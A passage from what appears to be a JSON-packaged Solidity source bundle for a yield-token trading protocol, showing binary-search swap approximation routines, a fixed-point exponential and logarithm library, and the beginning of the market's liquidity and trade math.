guess);\n\n if (netSyIn <= exactSyIn) {\n if (Math.isASmallerApproxB(netSyIn, exactSyIn, approx.eps))\n return (guess, netSyFee);\n approx.guessMin = guess;\n } else {\n approx.guessMax = guess - 1;\n }\n }\n\n revert Errors.ApproxFail();\n }\n\n /**\n * @dev algorithm:\n - Bin search the amount of PT to swapExactOut\n - Flashswap that amount of PT & pair with YT to redeem SY\n - Use the SY to repay the flashswap debt and the remaining is transferred to user\n - Stop when the netSyOut is greater approx the minSyOut\n - guess & approx is for netSyOut\n */\n function approxSwapYtForExactSy(\n MarketState memory market,\n PYIndex index,\n uint256 minSyOut,\n uint256 blockTime,\n ApproxParams memory approx\n ) internal pure returns (uint256 /*netYtIn*/, uint256 /*netSyOut*/, uint256 /*netSyFee*/) {\n MarketPreCompute memory comp = market.getMarketPreCompute(index, blockTime);\n if (approx.guessOffchain == 0) {\n // no limit on min\n approx.guessMax = Math.min(approx.guessMax, calcMaxPtOut(comp, market.totalPt));\n validateApprox(approx);\n }\n\n for (uint256 iter = 0; iter < approx.maxIteration; ++iter) {\n uint256 guess = nextGuess(approx, iter);\n\n (uint256 netSyOwed, uint256 netSyFee, ) = calcSyIn(market, comp, index, guess);\n\n uint256 netAssetToRepay = index.syToAssetUp(netSyOwed);\n uint256 netSyOut = index.assetToSy(guess - netAssetToRepay);\n\n if (netSyOut >= minSyOut) {\n if (Math.isAGreaterApproxB(netSyOut, minSyOut, approx.eps))\n return (guess, netSyOut, netSyFee);\n approx.guessMax = guess;\n } else {\n approx.guessMin = guess + 1;\n }\n }\n revert Errors.ApproxFail();\n }\n\n struct Args6 {\n MarketState market;\n PYIndex index;\n uint256 totalSyIn;\n uint256 blockTime;\n ApproxParams approx;\n }\n\n /**\n * @dev algorithm:\n - Bin search the amount of PT to swapExactOut\n - Swap that amount of PT out\n - Pair the remaining PT with the SY to add liquidity\n - Stop when the ratio of PT / totalPt & SY / totalSy is approx\n - guess & approx is for netPtFromSwap\n */\n function approxSwapSyToAddLiquidity(\n MarketState memory _market,\n PYIndex _index,\n uint256 _totalSyIn,\n uint256 _blockTime,\n ApproxParams memory _approx\n )\n internal\n pure\n returns (uint256 /*netPtFromSwap*/, uint256 /*netSySwap*/, uint256 /*netSyFee*/)\n {\n Args6 memory a = Args6(_market, _index, _totalSyIn, _blockTime, _approx);\n\n MarketPreCompute memory comp = a.market.getMarketPreCompute(a.index, a.blockTime);\n if (a.approx.guessOffchain == 0) {\n // no limit on min\n a.approx.guessMax = Math.min(a.approx.guessMax, calcMaxPtOut(comp, a.market.totalPt));\n validateApprox(a.approx);\n require(a.market.totalLp != 0, \"no existing lp\");\n }\n\n for (uint256 iter = 0; iter < a.approx.maxIteration; ++iter) {\n uint256 guess = nextGuess(a.approx, iter);\n\n (uint256 netSyIn, uint256 netSyFee, uint256 netSyToReserve) = calcSyIn(\n a.market,\n comp,\n a.index,\n guess\n );\n\n if (netSyIn > a.totalSyIn) {\n a.approx.guessMax = guess - 1;\n continue;\n }\n\n uint256 syNumerator;\n uint256 ptNumerator;\n\n {\n uint256 newTotalPt = uint256(a.market.totalPt) - guess;\n uint256 netTotalSy = uint256(a.market.totalSy) + netSyIn - netSyToReserve;\n\n // it is desired that\n // netPtFromSwap / newTotalPt = netSyRemaining / netTotalSy\n // which is equivalent to\n // netPtFromSwap * netTotalSy = netSyRemaining * newTotalPt\n\n ptNumerator = guess * netTotalSy;\n syNumerator = (a.totalSyIn - netSyIn) * newTotalPt;\n }\n\n if (Math.isAApproxB(ptNumerator, syNumerator, a.approx.eps))\n return (guess, netSyIn, netSyFee);\n\n if (ptNumerator <= syNumerator) {\n // needs more PT\n a.approx.guessMin = guess + 1;\n } else {\n // needs less PT\n a.approx.guessMax = guess - 1;\n }\n }\n revert Errors.ApproxFail();\n }\n\n /**\n * @dev algorithm:\n - Bin search the amount of PT to swapExactOut\n - Flashswap that amount of PT out\n - Pair all the PT with the YT to redeem SY\n - Use the SY to repay the flashswap debt\n - Stop when the amount of YT required to pair with PT is approx exactYtIn\n - guess & approx is for netPtFromSwap\n */\n function approxSwapExactYtForPt(\n MarketState memory market,\n PYIndex index,\n uint256 exactYtIn,\n uint256 blockTime,\n ApproxParams memory approx\n )\n internal\n pure\n returns (uint256 /*netPtOut*/, uint256 /*totalPtSwapped*/, uint256 /*netSyFee*/)\n {\n MarketPreCompute memory comp = market.getMarketPreCompute(index, blockTime);\n if (approx.guessOffchain == 0) {\n approx.guessMin = Math.max(approx.guessMin, exactYtIn);\n approx.guessMax = Math.min(approx.guessMax, calcMaxPtOut(comp, market.totalPt));\n validateApprox(approx);\n }\n\n for (uint256 iter = 0; iter < approx.maxIteration; ++iter) {\n uint256 guess = nextGuess(approx, iter);\n\n (uint256 netSyOwed, uint256 netSyFee, ) = calcSyIn(market, comp, index, guess);\n\n uint256 netYtToPull = index.syToAssetUp(netSyOwed);\n\n if (netYtToPull <= exactYtIn) {\n if (Math.isASmallerApproxB(netYtToPull, exactYtIn, approx.eps))\n return (guess - netYtToPull, guess, netSyFee);\n approx.guessMin = guess;\n } else {\n approx.guessMax = guess - 1;\n }\n }\n revert Errors.ApproxFail();\n }\n\n ////////////////////////////////////////////////////////////////////////////////\n\n function calcSyIn(\n MarketState memory market,\n MarketPreCompute memory comp,\n PYIndex index,\n uint256 netPtOut\n ) internal pure returns (uint256 netSyIn, uint256 netSyFee, uint256 netSyToReserve) {\n (int256 _netSyIn, int256 _netSyFee, int256 _netSyToReserve) = market.calcTrade(\n comp,\n index,\n int256(netPtOut)\n );\n\n // all safe since totalPt and totalSy is int128\n netSyIn = uint256(-_netSyIn);\n netSyFee = uint256(_netSyFee);\n netSyToReserve = uint256(_netSyToReserve);\n }\n\n function calcMaxPtOut(\n MarketPreCompute memory comp,\n int256 totalPt\n ) internal pure returns (uint256) {\n int256 logitP = (comp.feeRate - comp.rateAnchor).mulDown(comp.rateScalar).exp();\n int256 proportion = logitP.divDown(logitP + Math.IONE);\n int256 numerator = proportion.mulDown(totalPt + comp.totalAsset);\n int256 maxPtOut = totalPt - numerator;\n // only get 99.9% of the theoretical max to accommodate some precision issues\n return (uint256(maxPtOut) * 999) / 1000;\n }\n\n function nextGuess(ApproxParams memory approx, uint256 iter) internal pure returns (uint256) {\n if (iter == 0 && approx.guessOffchain != 0) return approx.guessOffchain;\n if (approx.guessMin <= approx.guessMax) return (approx.guessMin + approx.guessMax) / 2;\n revert Errors.ApproxFail();\n }\n\n function validateApprox(ApproxParams memory approx) internal pure {\n if (approx.guessMin > approx.guessMax || approx.eps > Math.ONE)\n revert Errors.ApproxParamsInvalid(approx.guessMin, approx.guessMax, approx.eps);\n }\n}\n"
},
"contracts/libraries/math/LogExpMath.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\n// documentation files (the “Software”), to deal in the Software without restriction, including without limitation the\n// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to\n// permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\n// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the\n// Software.\n\n// THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE\n// WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n// COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\npragma solidity 0.8.19;\n\n/* solhint-disable */\n\n/**\n * @dev Exponentiation and logarithm functions for 18 decimal fixed point numbers (both base and exponent/argument).\n *\n * Exponentiation and logarithm with arbitrary bases (x^y and log_x(y)) are implemented by conversion to natural\n * exponentiation and logarithm (where the base is Euler's number).\n *\n * @author Fernando Martinelli - @fernandomartinelli\n * @author Sergio Yuhjtman - @sergioyuhjtman\n * @author Daniel Fernandez - @dmf7z\n */\nlibrary LogExpMath {\n // All fixed point multiplications and divisions are inlined. This means we need to divide by ONE when multiplying\n // two numbers, and multiply by ONE when dividing them.\n\n // All arguments and return values are 18 decimal fixed point numbers.\n int256 constant ONE_18 = 1e18;\n\n // Internally, intermediate values are computed with higher precision as 20 decimal fixed point numbers, and in the\n // case of ln36, 36 decimals.\n int256 constant ONE_20 = 1e20;\n int256 constant ONE_36 = 1e36;\n\n // The domain of natural exponentiation is bound by the word size and number of decimals used.\n //\n // Because internally the result will be stored using 20 decimals, the largest possible result is\n // (2^255 - 1) / 10^20, which makes the largest exponent ln((2^255 - 1) / 10^20) = 130.700829182905140221.\n // The smallest possible result is 10^(-18), which makes largest negative argument\n // ln(10^(-18)) = -41.446531673892822312.\n // We use 130.0 and -41.0 to have some safety margin.\n int256 constant MAX_NATURAL_EXPONENT = 130e18;\n int256 constant MIN_NATURAL_EXPONENT = -41e18;\n\n // Bounds for ln_36's argument. Both ln(0.9) and ln(1.1) can be represented with 36 decimal places in a fixed point\n // 256 bit integer.\n int256 constant LN_36_LOWER_BOUND = ONE_18 - 1e17;\n int256 constant LN_36_UPPER_BOUND = ONE_18 + 1e17;\n\n uint256 constant MILD_EXPONENT_BOUND = 2 ** 254 / uint256(ONE_20);\n\n // 18 decimal constants\n int256 constant x0 = 128000000000000000000; // 2ˆ7\n int256 constant a0 = 38877084059945950922200000000000000000000000000000000000; // eˆ(x0) (no decimals)\n int256 constant x1 = 64000000000000000000; // 2ˆ6\n int256 constant a1 = 6235149080811616882910000000; // eˆ(x1) (no decimals)\n\n // 20 decimal constants\n int256 constant x2 = 3200000000000000000000; // 2ˆ5\n int256 constant a2 = 7896296018268069516100000000000000; // eˆ(x2)\n int256 constant x3 = 1600000000000000000000; // 2ˆ4\n int256 constant a3 = 888611052050787263676000000; // eˆ(x3)\n int256 constant x4 = 800000000000000000000; // 2ˆ3\n int256 constant a4 = 298095798704172827474000; // eˆ(x4)\n int256 constant x5 = 400000000000000000000; // 2ˆ2\n int256 constant a5 = 5459815003314423907810; // eˆ(x5)\n int256 constant x6 = 200000000000000000000; // 2ˆ1\n int256 constant a6 = 738905609893065022723; // eˆ(x6)\n int256 constant x7 = 100000000000000000000; // 2ˆ0\n int256 constant a7 = 271828182845904523536; // eˆ(x7)\n int256 constant x8 = 50000000000000000000; // 2ˆ-1\n int256 constant a8 = 164872127070012814685; // eˆ(x8)\n int256 constant x9 = 25000000000000000000; // 2ˆ-2\n int256 constant a9 = 128402541668774148407; // eˆ(x9)\n int256 constant x10 = 12500000000000000000; // 2ˆ-3\n int256 constant a10 = 113314845306682631683; // eˆ(x10)\n int256 constant x11 = 6250000000000000000; // 2ˆ-4\n int256 constant a11 = 106449445891785942956; // eˆ(x11)\n\n /**\n * @dev Natural exponentiation (e^x) with signed 18 decimal fixed point exponent.\n *\n * Reverts if `x` is smaller than MIN_NATURAL_EXPONENT, or larger than `MAX_NATURAL_EXPONENT`.\n */\n function exp(int256 x) internal pure returns (int256) {\n unchecked {\n require(x >= MIN_NATURAL_EXPONENT && x <= MAX_NATURAL_EXPONENT, \"Invalid exponent\");\n\n if (x < 0) {\n // We only handle positive exponents: e^(-x) is computed as 1 / e^x. We can safely make x positive since it\n // fits in the signed 256 bit range (as it is larger than MIN_NATURAL_EXPONENT).\n // Fixed point division requires multiplying by ONE_18.\n return ((ONE_18 * ONE_18) / exp(-x));\n }\n\n // First, we use the fact that e^(x+y) = e^x * e^y to decompose x into a sum of powers of two, which we call x_n,\n // where x_n == 2^(7 - n), and e^x_n = a_n has been precomputed. We choose the first x_n, x0, to equal 2^7\n // because all larger powers are larger than MAX_NATURAL_EXPONENT, and therefore not present in the\n // decomposition.\n // At the end of this process we will have the product of all e^x_n = a_n that apply, and the remainder of this\n // decomposition, which will be lower than the smallest x_n.\n // exp(x) = k_0 * a_0 * k_1 * a_1 * ... + k_n * a_n * exp(remainder), where each k_n equals either 0 or 1.\n // We mutate x by subtracting x_n, making it the remainder of the decomposition.\n\n // The first two a_n (e^(2^7) and e^(2^6)) are too large if stored as 18 decimal numbers, and could cause\n // intermediate overflows. Instead we store them as plain integers, with 0 decimals.\n // Additionally, x0 + x1 is larger than MAX_NATURAL_EXPONENT, which means they will not both be present in the\n // decomposition.\n\n // For each x_n, we test if that term is present in the decomposition (if x is larger than it), and if so deduct\n // it and compute the accumulated product.\n\n int256 firstAN;\n if (x >= x0) {\n x -= x0;\n firstAN = a0;\n } else if (x >= x1) {\n x -= x1;\n firstAN = a1;\n } else {\n firstAN = 1; // One with no decimal places\n }\n\n // We now transform x into a 20 decimal fixed point number, to have enhanced precision when computing the\n // smaller terms.\n x *= 100;\n\n // `product` is the accumulated product of all a_n (except a0 and a1), which starts at 20 decimal fixed point\n // one. Recall that fixed point multiplication requires dividing by ONE_20.\n int256 product = ONE_20;\n\n if (x >= x2) {\n x -= x2;\n product = (product * a2) / ONE_20;\n }\n if (x >= x3) {\n x -= x3;\n product = (product * a3) / ONE_20;\n }\n if (x >= x4) {\n x -= x4;\n product = (product * a4) / ONE_20;\n }\n if (x >= x5) {\n x -= x5;\n product = (product * a5) / ONE_20;\n }\n if (x >= x6) {\n x -= x6;\n product = (product * a6) / ONE_20;\n }\n if (x >= x7) {\n x -= x7;\n product = (product * a7) / ONE_20;\n }\n if (x >= x8) {\n x -= x8;\n product = (product * a8) / ONE_20;\n }\n if (x >= x9) {\n x -= x9;\n product = (product * a9) / ONE_20;\n }\n\n // x10 and x11 are unnecessary here since we have high enough precision already.\n\n // Now we need to compute e^x, where x is small (in particular, it is smaller than x9). We use the Taylor series\n // expansion for e^x: 1 + x + (x^2 / 2!) + (x^3 / 3!) + ... + (x^n / n!).\n\n int256 seriesSum = ONE_20; // The initial one in the sum, with 20 decimal places.\n int256 term; // Each term in the sum, where the nth term is (x^n / n!).\n\n // The first term is simply x.\n term = x;\n seriesSum += term;\n\n // Each term (x^n / n!) equals the previous one times x, divided by n. Since x is a fixed point number,\n // multiplying by it requires dividing by ONE_20, but dividing by the non-fixed point n values does not.\n\n term = ((term * x) / ONE_20) / 2;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 3;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 4;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 5;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 6;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 7;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 8;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 9;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 10;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 11;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 12;\n seriesSum += term;\n\n // 12 Taylor terms are sufficient for 18 decimal precision.\n\n // We now have the first a_n (with no decimals), and the product of all other a_n present, and the Taylor\n // approximation of the exponentiation of the remainder (both with 20 decimals). All that remains is to multiply\n // all three (one 20 decimal fixed point multiplication, dividing by ONE_20, and one integer multiplication),\n // and then drop two digits to return an 18 decimal value.\n\n return (((product * seriesSum) / ONE_20) * firstAN) / 100;\n }\n }\n\n /**\n * @dev Natural logarithm (ln(a)) with signed 18 decimal fixed point argument.\n */\n function ln(int256 a) internal pure returns (int256) {\n unchecked {\n // The real natural logarithm is not defined for negative numbers or zero.\n require(a > 0, \"out of bounds\");\n if (LN_36_LOWER_BOUND < a && a < LN_36_UPPER_BOUND) {\n return _ln_36(a) / ONE_18;\n } else {\n return _ln(a);\n }\n }\n }\n\n /**\n * @dev Exponentiation (x^y) with unsigned 18 decimal fixed point base and exponent.\n *\n * Reverts if ln(x) * y is smaller than `MIN_NATURAL_EXPONENT`, or larger than `MAX_NATURAL_EXPONENT`.\n */\n function pow(uint256 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) {\n // We solve the 0^0 indetermination by making it equal one.\n return uint256(ONE_18);\n }\n\n if (x == 0) {\n return 0;\n }\n\n // Instead of computing x^y directly, we instead rely on the properties of logarithms and exponentiation to\n // arrive at that r`esult. In particular, exp(ln(x)) = x, and ln(x^y) = y * ln(x). This means\n // x^y = exp(y * ln(x)).\n\n // The ln function takes a signed value, so we need to make sure x fits in the signed 256 bit range.\n require(x < 2 ** 255, \"x out of bounds\");\n int256 x_int256 = int256(x);\n\n // We will compute y * ln(x) in a single step. Depending on the value of x, we can either use ln or ln_36. In\n // both cases, we leave the division by ONE_18 (due to fixed point multiplication) to the end.\n\n // This prevents y * ln(x) from overflowing, and at the same time guarantees y fits in the signed 256 bit range.\n require(y < MILD_EXPONENT_BOUND, \"y out of bounds\");\n int256 y_int256 = int256(y);\n\n int256 logx_times_y;\n if (LN_36_LOWER_BOUND < x_int256 && x_int256 < LN_36_UPPER_BOUND) {\n int256 ln_36_x = _ln_36(x_int256);\n\n // ln_36_x has 36 decimal places, so multiplying by y_int256 isn't as straightforward, since we can't just\n // bring y_int256 to 36 decimal places, as it might overflow. Instead, we perform two 18 decimal\n // multiplications and add the results: one with the first 18 decimals of ln_36_x, and one with the\n // (downscaled) last 18 decimals.\n logx_times_y = ((ln_36_x / ONE_18) *\n y_int256 +\n ((ln_36_x % ONE_18) * y_int256) /\n ONE_18);\n } else {\n logx_times_y = _ln(x_int256) * y_int256;\n }\n logx_times_y /= ONE_18;\n\n // Finally, we compute exp(y * ln(x)) to arrive at x^y\n require(\n MIN_NATURAL_EXPONENT <= logx_times_y && logx_times_y <= MAX_NATURAL_EXPONENT,\n \"product out of bounds\"\n );\n\n return uint256(exp(logx_times_y));\n }\n }\n\n /**\n * @dev Internal natural logarithm (ln(a)) with signed 18 decimal fixed point argument.\n */\n function _ln(int256 a) private pure returns (int256) {\n unchecked {\n if (a < ONE_18) {\n // Since ln(a^k) = k * ln(a), we can compute ln(a) as ln(a) = ln((1/a)^(-1)) = - ln((1/a)). If a is less\n // than one, 1/a will be greater than one, and this if statement will not be entered in the recursive call.\n // Fixed point division requires multiplying by ONE_18.\n return (-_ln((ONE_18 * ONE_18) / a));\n }\n\n // First, we use the fact that ln^(a * b) = ln(a) + ln(b) to decompose ln(a) into a sum of powers of two, which\n // we call x_n, where x_n == 2^(7 - n), which are the natural logarithm of precomputed quantities a_n (that is,\n // ln(a_n) = x_n). We choose the first x_n, x0, to equal 2^7 because the exponential of all larger powers cannot\n // be represented as 18 fixed point decimal numbers in 256 bits, and are therefore larger than a.\n // At the end of this process we will have the sum of all x_n = ln(a_n) that apply, and the remainder of this\n // decomposition, which will be lower than the smallest a_n.\n // ln(a) = k_0 * x_0 + k_1 * x_1 + ... + k_n * x_n + ln(remainder), where each k_n equals either 0 or 1.\n // We mutate a by subtracting a_n, making it the remainder of the decomposition.\n\n // For reasons related to how `exp` works, the first two a_n (e^(2^7) and e^(2^6)) are not stored as fixed point\n // numbers with 18 decimals, but instead as plain integers with 0 decimals, so we need to multiply them by\n // ONE_18 to convert them to fixed point.\n // For each a_n, we test if that term is present in the decomposition (if a is larger than it), and if so divide\n // by it and compute the accumulated sum.\n\n int256 sum = 0;\n if (a >= a0 * ONE_18) {\n a /= a0; // Integer, not fixed point division\n sum += x0;\n }\n\n if (a >= a1 * ONE_18) {\n a /= a1; // Integer, not fixed point division\n sum += x1;\n }\n\n // All other a_n and x_n are stored as 20 digit fixed point numbers, so we convert the sum and a to this format.\n sum *= 100;\n a *= 100;\n\n // Because further a_n are 20 digit fixed point numbers, we multiply by ONE_20 when dividing by them.\n\n if (a >= a2) {\n a = (a * ONE_20) / a2;\n sum += x2;\n }\n\n if (a >= a3) {\n a = (a * ONE_20) / a3;\n sum += x3;\n }\n\n if (a >= a4) {\n a = (a * ONE_20) / a4;\n sum += x4;\n }\n\n if (a >= a5) {\n a = (a * ONE_20) / a5;\n sum += x5;\n }\n\n if (a >= a6) {\n a = (a * ONE_20) / a6;\n sum += x6;\n }\n\n if (a >= a7) {\n a = (a * ONE_20) / a7;\n sum += x7;\n }\n\n if (a >= a8) {\n a = (a * ONE_20) / a8;\n sum += x8;\n }\n\n if (a >= a9) {\n a = (a * ONE_20) / a9;\n sum += x9;\n }\n\n if (a >= a10) {\n a = (a * ONE_20) / a10;\n sum += x10;\n }\n\n if (a >= a11) {\n a = (a * ONE_20) / a11;\n sum += x11;\n }\n\n // a is now a small number (smaller than a_11, which roughly equals 1.06). This means we can use a Taylor series\n // that converges rapidly for values of `a` close to one - the same one used in ln_36.\n // Let z = (a - 1) / (a + 1).\n // ln(a) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))\n\n // Recall that 20 digit fixed point division requires multiplying by ONE_20, and multiplication requires\n // division by ONE_20.\n int256 z = ((a - ONE_20) * ONE_20) / (a + ONE_20);\n int256 z_squared = (z * z) / ONE_20;\n\n // num is the numerator of the series: the z^(2 * n + 1) term\n int256 num = z;\n\n // seriesSum holds the accumulated sum of each term in the series, starting with the initial z\n int256 seriesSum = num;\n\n // In each step, the numerator is multiplied by z^2\n num = (num * z_squared) / ONE_20;\n seriesSum += num / 3;\n\n num = (num * z_squared) / ONE_20;\n seriesSum += num / 5;\n\n num = (num * z_squared) / ONE_20;\n seriesSum += num / 7;\n\n num = (num * z_squared) / ONE_20;\n seriesSum += num / 9;\n\n num = (num * z_squared) / ONE_20;\n seriesSum += num / 11;\n\n // 6 Taylor terms are sufficient for 36 decimal precision.\n\n // Finally, we multiply by 2 (non fixed point) to compute ln(remainder)\n seriesSum *= 2;\n\n // We now have the sum of all x_n present, and the Taylor approximation of the logarithm of the remainder (both\n // with 20 decimals). All that remains is to sum these two, and then drop two digits to return a 18 decimal\n // value.\n\n return (sum + seriesSum) / 100;\n }\n }\n\n /**\n * @dev Intrnal high precision (36 decimal places) natural logarithm (ln(x)) with signed 18 decimal fixed point argument,\n * for x close to one.\n *\n * Should only be used if x is between LN_36_LOWER_BOUND and LN_36_UPPER_BOUND.\n */\n function _ln_36(int256 x) private pure returns (int256) {\n unchecked {\n // Since ln(1) = 0, a value of x close to one will yield a very small result, which makes using 36 digits\n // worthwhile.\n\n // First, we transform x to a 36 digit fixed point value.\n x *= ONE_18;\n\n // We will use the following Taylor expansion, which converges very rapidly. Let z = (x - 1) / (x + 1).\n // ln(x) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))\n\n // Recall that 36 digit fixed point division requires multiplying by ONE_36, and multiplication requires\n // division by ONE_36.\n int256 z = ((x - ONE_36) * ONE_36) / (x + ONE_36);\n int256 z_squared = (z * z) / ONE_36;\n\n // num is the numerator of the series: the z^(2 * n + 1) term\n int256 num = z;\n\n // seriesSum holds the accumulated sum of each term in the series, starting with the initial z\n int256 seriesSum = num;\n\n // In each step, the numerator is multiplied by z^2\n num = (num * z_squared) / ONE_36;\n seriesSum += num / 3;\n\n num = (num * z_squared) / ONE_36;\n seriesSum += num / 5;\n\n num = (num * z_squared) / ONE_36;\n seriesSum += num / 7;\n\n num = (num * z_squared) / ONE_36;\n seriesSum += num / 9;\n\n num = (num * z_squared) / ONE_36;\n seriesSum += num / 11;\n\n num = (num * z_squared) / ONE_36;\n seriesSum += num / 13;\n\n num = (num * z_squared) / ONE_36;\n seriesSum += num / 15;\n\n // 8 Taylor terms are sufficient for 36 decimal precision.\n\n // All that remains is multiplying by 2 (non fixed point).\n return seriesSum * 2;\n }\n }\n}\n"
},
"contracts/libraries/math/MarketMathCore.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport \"./Math.sol\";\nimport \"./LogExpMath.sol\";\n\nimport \"../PYIndex.sol\";\nimport \"../MiniHelpers.sol\";\nimport \"../Errors.sol\";\n\nstruct MarketState {\n int256 totalPt;\n int256 totalSy;\n int256 totalLp;\n address treasury;\n /// immutable variables ///\n int256 scalarRoot;\n uint256 expiry;\n /// fee data ///\n uint256 lnFeeRateRoot;\n uint256 reserveFeePercent; // base 100\n /// last trade data ///\n uint256 lastLnImpliedRate;\n}\n\n// params that are expensive to compute, therefore we pre-compute them\nstruct MarketPreCompute {\n int256 rateScalar;\n int256 totalAsset;\n int256 rateAnchor;\n int256 feeRate;\n}\n\n// solhint-disable ordering\nlibrary MarketMathCore {\n using Math for uint256;\n using Math for int256;\n using LogExpMath for int256;\n using PYIndexLib for PYIndex;\n\n int256 internal constant MINIMUM_LIQUIDITY = 10 ** 3;\n int256 internal constant PERCENTAGE_DECIMALS = 100;\n uint256 internal constant DAY = 86400;\n uint256 internal constant IMPLIED_RATE_TIME = 365 * DAY;\n\n int256 internal constant MAX_MARKET_PROPORTION = (1e18 * 96) / 100;\n\n using Math for uint256;\n using Math for int256;\n\n /*///////////////////////////////////////////////////////////////\n UINT FUNCTIONS TO PROXY TO CORE FUNCTIONS\n //////////////////////////////////////////////////////////////*/\n\n function addLiquidity(\n MarketState memory market,\n uint256 syDesired,\n uint256 ptDesired,\n uint256 blockTime\n )\n internal\n pure\n returns (uint256 lpToReserve, uint256 lpToAccount, uint256 syUsed, uint256 ptUsed)\n {\n (\n int256 _lpToReserve,\n int256 _lpToAccount,\n int256 _syUsed,\n int256 _ptUsed\n ) = addLiquidityCore(market, syDesired.Int(), ptDesired.Int(), blockTime);\n\n lpToReserve = _lpToReserve.Uint();\n lpToAccount = _lpToAccount.Uint();\n syUsed = _syUsed.Uint();\n ptUsed = _ptUsed.Uint();\n }\n\n function removeLiquidity(\n MarketState memory market,\n uint256 lpToRemove\n ) internal pure returns (uint256 netSyToAccount, uint256 netPtToAccount) {\n (int256 _syToAccount, int256 _ptToAccount) = removeLiquidityCore(market, lpToRemove.Int());\n\n netSyToAccount = _syToAccount.Uint();\n netPtToAccount = _ptToAccount.Uint();\n }\n\n function swapExactPtForSy(\n MarketState memory market,\n PYIndex index,\n uint256 exactPtToMarket,\n uint256 blockTime\n ) internal pure returns (uint256 netSyToAccount, uint256 netSyFee, uint256 netSyToReserve) {\n (int256 _netSyToAccount, int256 _netSyFee, int256 _netSyToReserve) = executeTradeCore(\n market,\n index,\n exactPtToMarket.neg(),\n blockTime\n );\n\n netSyToAccount = _netSyToAccount.Uint();\n netSyFee = _netSyFee.Uint();\n netSyToReserve = _netSyToReserve.Uint();\n }\n\n function swapSyForExactPt(\n MarketState memory market,\n PYIndex index,\n uint256 exactPtToAccount,\n uint256 blockTime\n ) internal pure returns (uint256 netSyToMarket, uint256 netSyFee, uint256 netSyToReserve) {\n (int256 _netSyToAccount, int256 _netSyFee, int256 _netSyToReserve) = executeTradeCore(\n market,\n index,\n exactPtToAccount.Int(),\n blockTime\n );\n\n netSyToMarket = _netSyToAccount.neg().Uint();\n netSyFee = _netSyFee.Uint();\n netSyToReserve = _netSyToReserve.Uint();\n }\n\n /*///////////////////////////////////////////////////////////////\n CORE FUNCTIONS\n //////////////////////////////////////////////////////////////*/\n\n function addLiquidityCore(\n MarketState memory market,\n int256 syDesired,\n int256 ptDesired,\n uint256 blockTime\n )\n internal\n pure\n returns (int256 lpToReserve, int256 lpToAccount, int256 syUsed, int256 ptUsed)\n {\n /// ------------------------------------------------------------\n /// CHECKS\n /// ------------------------------------------------------------\n if (syDesired == 0 || ptDesired == 0) revert Errors.MarketZeroAmountsInput();\n if (MiniHelpers.isExpired(market.expiry, blockTime)) revert Errors.MarketExpired();\n\n /// ------------------------------------------------------------\n /// MATH\n /// ------------------------------------------------------------\n if (market.totalLp == 0) {\n lpToAccount = Math.sqrt((syDesired * ptDesired).Uint()).Int() - MINIMUM_LIQUIDITY;\n lpToReserve = MINIMUM_LIQUIDITY;\n syUsed = syDesired;\n ptUsed = ptDesired;\n } else {\n int256 netLpByPt = (ptDesired * market.totalLp) / market.totalPt;\n int256 netLpBySy = (syDesired * market.totalLp) / market.totalSy;\n if (netLpByPt < netLpBySy) {\n lpToAccount = netLpByPt;\n ptUsed = ptDesired;\n syUsed = (market.totalSy * lpToAccount) / market.totalLp;\n } else {\n lpToAccount = netLpBySy;\n syUsed = syDesired;\n ptUsed = (market.totalPt * lpToAccount) / market.totalLp;\n }\n }\n\n if (lpToAccount <= 0) revert Errors.MarketZeroAmountsOutput();\n\n /// ------------------------------------------------------------\n /// WRITE\n /// ------------------------------------------------------------\n market.totalSy += syUsed;\n market.totalPt += ptUsed;\n market.totalLp += lpToAccount + lpToReserve;\n }\n\n function removeLiquidityCore(\n MarketState memory market,\n int256 lpToRemove\n ) internal pure returns (int256 netSyToAccount, int256 netPtToAccount) {\n /// ------------------------------------------------------------\n /// CHECKS\n /// ------------------------------------------------------------\n if (lpToRemove == 0) revert Errors.MarketZeroAmountsInput();\n\n /// ------------------------------------------------------------\n /// MATH\n /// ------------------------------------------------------------\n netSyToAccount = (lpToRemove * market.totalSy) / market.totalLp;\n netPtToAccount = (lpToRemove * market.totalPt) / market.totalLp;\n\n if (netSyToAccount == 0 && netPtToAccount == 0) revert Errors.MarketZeroAmountsOutput();\n\n /// ------------------------------------------------------------\n /// WRITE\n /// ------------------------------------------------------------\n market.totalLp = market.totalLp.subNoNeg(lpToRemove);\n market.totalPt = market.totalPt.subNoNeg(netPtToAccount);\n market.totalSy = market.totalSy.subNoNeg(netSyToAccount);\n }\n\n function executeTradeCore(\n MarketState memory market,\n PYIndex index,\n int256 netPtToAccount,\n uint256 blockTime\n ) internal pure returns (int256 netSyToAccount, int256 netSyFee, int256 netSyToReserve) {\n /// ------------------------------------------------------------\n /// CHECKS\n /// ------------------------------------------------------------\n if 